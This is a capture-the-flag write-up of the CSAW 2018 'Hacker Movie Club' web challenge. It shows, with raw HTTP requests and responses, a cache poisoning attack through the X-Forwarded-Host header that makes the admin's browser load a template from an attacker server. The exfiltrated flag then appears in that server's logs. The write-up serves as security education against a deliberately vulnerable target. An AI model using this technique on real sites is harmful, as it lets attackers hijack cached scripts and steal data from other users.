Tags: cache-poisoning web
Rating:
# ▼▼▼Hacker Movie Club(Web:200、71/1448=4.9%)▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```
Hacker movies are very popular, so we needed a site that we can scale. You better get started though, there are a lot of movies to watch.
Author: itszn (ret2 systems)
http://app.hm.vulnerable.services/
```
---
## 【Understanding of functions】
・Movie list is displayed
・There is a function of sending to admin
↓
Perhaps it seems to be an `XSS` problem...(However, the prediction was out ...)
↓
Confirm sending request to admin
↓
```
POST /api/report HTTP/1.1
Host: app.hm.vulnerable.services
Content-Length: 325
{"token":"03AL4dnxr9esKJKJcPhsOjOc-T4d_sxOFYSuKLx3DU0Hvhcmcg4ZfKZg20iPLVU9HvnLEWKucHGajNEyJdGDbMuvNpa6W99QjvFZrpdpEtEs4xb1BsV0efch4selm1-okTShY-OBM4lvo5n3ydmu7-w6V1RBcUCIjTkD_RX_GLAj5HlBIKnWEvJBNzZKFW1IX1GMAU6wmf9jFOgm22F0QmLNxBZz9f1tWqsSDV8HfPPfYiXo5FtWV6eegYF7-oragWuNxCJX4hIVmzyywXKng08nuZqBAwBie_dqNTCxCNJCFXcrRC_cJouiI"}
```
↓
```
HTTP/1.1 200 OK
Server: gunicorn/19.9.0
Date: Tue, 18 Sep 2018 10:24:16 GMT
Content-Type: application/json
Content-Length: 17
Cache-Control: no-cache
X-Varnish: 142297032
Age: 0
Via: 1.1 varnish-v4
Accept-Ranges: bytes
Connection: close
{"success":true}
```
↓
I can not send comments etc to admin, it seems just to contact...
What is the problem to report to admin outside XSS (there is a need for **passive attack**) !?
If **passive attack** and **going to check a specific place by admin** are necessary, it can be guessed as `Stored XSS` or `Cache poisoning` by inserting at a place other than the parameter
---
## 【Investigate the location of flag】
```
GET /api/movies HTTP/1.1
Host: app.hm.vulnerable.services
```
↓
```
HTTP/1.1 200 OK
Server: gunicorn/19.9.0
Date: Tue, 18 Sep 2018 10:35:34 GMT
Content-Type: application/json
Content-Length: 1386
Cache-Control: no-cache
X-Varnish: 158271733
Age: 0
Via: 1.1 varnish-v4
Accept-Ranges: bytes
Connection: keep-alive
{"admin":false,"movies":[{"admin_only":false,"length":"1 Hour, 54 Minutes","name":"WarGames","year":1983},{"admin_only":false,"length":"0 Hours, 31 Minutes","name":"Kung Fury","year":2015},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"Sneakers","year":1992},{"admin_only":false,"length":"1 Hour, 39 Minutes","name":"Swordfish","year":2001},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"The Karate Kid","year":1984},{"admin_only":false,"length":"1 Hour, 23 Minutes","name":"Ghost in the Shell","year":1995},{"admin_only":false,"length":"5 Hours, 16 Minutes","name":"Serial Experiments Lain","year":1998},{"admin_only":false,"length":"2 Hours, 16 Minutes","name":"The Matrix","year":1999},{"admin_only":false,"length":"1 Hour, 57 Minutes","name":"Blade Runner","year":1982},{"admin_only":false,"length":"2 Hours, 43 Minutes","name":"Blade Runner 2049","year":2017},{"admin_only":false,"length":"1 Hour, 47 Minutes","name":"Hackers","year":1995},{"admin_only":false,"length":"1 Hour, 36 Minutes","name":"TRON","year":1982},{"admin_only":false,"length":"2 Hours, 5 Minutes","name":"Tron: Legacy","year":2010},{"admin_only":false,"length":"2 Hours, 25 Minutes","name":"Minority Report","year":2002},{"admin_only":false,"length":"2 Hours, 37 Minutes","name":"eXistenZ","year":1999},{"admin_only":true,"length":"22 Hours, 17 Minutes","name":"[REDACTED]","year":2018}]}
```
↓
There is only one `"admin_only":true` data(This seems to be a `flag`)
---
## 【Identify the vulnerability】
Search for parts that can be persistently reflected in the response or where the Host header can be changed in places other than Host and URL
↓
In the request below, I found a custom header `X-Forwarded-Host`
↓
```
GET /cdn/app.js HTTP/1.1
Host: 0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.services
X-Forwarded-Host: 0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.services
```
↓
```
HTTP/1.1 200 OK
Server: gunicorn/19.9.0
Date: Tue, 18 Sep 2018 10:39:02 GMT
Content-Type: application/javascript
Content-Length: 1631
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, OPTIONS, GET
Access-Control-Max-Age: 21600
Access-Control-Allow-Headers: X-Forwarded-Host
X-Varnish: 158271761 142298704
Age: 9
Via: 1.1 varnish-v4
Accept-Ranges: bytes
Connection: keep-alive
var token = null;
Promise.all([
fetch('/api/movies').then(r=>r.json()),
fetch(`//0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()),
new Promise((resolve) => {
if (window.loaded_recapcha === true)
return resolve();
window.loaded_recapcha = resolve;
}),
new Promise((resolve) => {
if (window.loaded_mustache === true)
return resolve();
window.loaded_mustache = resolve;
})
]).then(([user, view])=>{
document.getElementById('content').innerHTML = Mustache.render(view,user);
grecaptcha.render(document.getElementById("captcha"), {
sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
theme: 'dark',
callback: t=> {
token = t;
document.getElementById('report').disabled = false;
}
});
let hidden = true;
document.getElementById('report').onclick = () => {
if (hidden) {
document.getElementById("captcha").parentElement.style.display='block';
document.getElementById('report').disabled = true;
hidden = false;
return;
}
fetch('/api/report',{
method: 'POST',
body: JSON.stringify({token:token})
}).then(r=>r.json()).then(j=>{
if (j.success) {
// The admin is on her way to check the page
alert("Neo... nobody has ever done this before.");
alert("That's why it's going to work.");
} else {
alert("Dodge this.");
}
});
}
});
```
---
## 【Try1:Tampering with X-Forwarded-Host】
Because the response is long, I used BurpSuite's compare function
↓
![](http://raw.githubusercontent.com/kazkiti/CTF-image/master/CSAW2018_compare.png)
↓
`Age` header and `X-Varnish` header have changed.
But, the value of `X-Forwarded-Host` was not reflected...
↓
The value of the `Age` header is the elapsed time of cache data. Unit is seconds
↓
`X-Varnish`(https://varnish-cache.org/docs/2.1/faq/http.html)
↓
`X-Varnish` will contain both the `ID of the current request` and the `ID of the request that populated the cach`
As I can see from `X-Varnish: 158271761 142298704`, I can see that the **cache is used** because there are **two IDs** in the `X-Varnish` header
Because it affects other CTF users, it can be inferred that the cache validity period is probably short.
---
```
GET /cdn/app.js HTTP/1.1
Host: 0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.services
X-Forwarded-Host: example.com
```
↓
Even if I send a request while pushing it manually in BurpSuite, since the desired cache does not hit.
I confirmed it by continuously sending it with Inturder.
↓
![](http://raw.githubusercontent.com/kazkiti/CTF-image/master/CSAW2018_Intruder.png)
↓
fetch(`//example.com/cdn/main.mst`).then(r=>r.text()),
The validity period of the cache is `120 seconds`, and it was confirmed that the value of `X-Forworded-for` is reflected there
↓
`Cache poisoning attack` is possible!!
---
## 【Create Payload】
First, check `/cdn/main.mst`
↓
```
GET /cdn/main.mst HTTP/1.1
Host: 0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.services
```
↓
```
HTTP/1.1 200 OK
Server: gunicorn/19.9.0
Date: Tue, 18 Sep 2018 11:48:26 GMT
Content-Length: 523
Content-Type: application/octet-stream
Last-Modified: Fri, 14 Sep 2018 03:54:50 GMT
Cache-Control: public, max-age=43200
Expires: Tue, 18 Sep 2018 23:48:26 GMT
ETag: "1536897290.0-523-1486424030"
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, OPTIONS, GET
Access-Control-Max-Age: 21600
Access-Control-Allow-Headers: X-Forwarded-Host
X-Varnish: 157809929 157809927
Age: 5
Via: 1.1 varnish-v4
Accept-Ranges: bytes
Connection: keep-alive
<div class="header">
Hacker Movie Club
</div>
{{#admin}}
<div class="header admin">
Welcome to the desert of the real.
</div>
{{/admin}}
<table class="movies">
<thead>
<th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
{{^admin_only}}
<tr>
<td>{{ name }}</td>
<td>{{ year }}</td>
<td>{{ length }}</td>
</tr>
{{/admin_only}}
{{/movies}}
</tbody>
</table>
<div class="captcha">
<div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
```
↓
Using Template!!
---
```
GET /cdn/mustache.min.js HTTP/1.1
Host: 0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.services
```
↓
I found that this site uses a **template engine** named `mustache.js` (https://github.com/janl/mustache.js/)
↓
Understand template grammar
---
## 【exploit】
It placed in `//my_server/cdn/main.mst`
↓
```
```
---
It placed in `//my_server/cdn/.htaccess`
↓
```
AddType application/x-httpd-php .php .mst
```
---
Continuously send the following request with Intruder
↓
```
GET /cdn/app.js HTTP/1.1
Host: 0ec58fe43286123b3a487162cf7dda1b4cc8b3d2.hm.vulnerable.services
X-Forwarded-Host: my_server
```
↓
When `//my_server` is reflected in the response(Cash was used), submit a report to admin
---
A request was sent to `//my_server`
↓
```
216.165.2.32 - - [18/Sep/2018:13:15:02 +0000] "GET /cdn/main.mst HTTP/1.1" 200 73
216.165.2.32 - - [18/Sep/2018:13:15:03 +0000] "GET /?c=WarGamesKung%20FurySneakersSwordfishThe%20Karate%20KidGhost%20in%20the%20ShellSerial%20Experiments%20LainThe%20MatrixBlade%20RunnerBlade%20Runner%202049HackersTRONTron:%20LegacyMinority%20ReporteXistenZflag{I_h0pe_you_w4tch3d_a11_th3_m0v1es} HTTP/1.1" 200 2261
```
↓
```
WarGamesKung FurySneakersSwordfishThe Karate KidGhost in the ShellSerial Experiments LainThe MatrixBlade RunnerBlade Runner 2049HackersTRONTron: LegacyMinority ReporteXistenZflag{I_h0pe_you_w4tch3d_a11_th3_m0v1es}
```
↓
`flag{I_h0pe_you_w4tch3d_a11_th3_m0v1es}`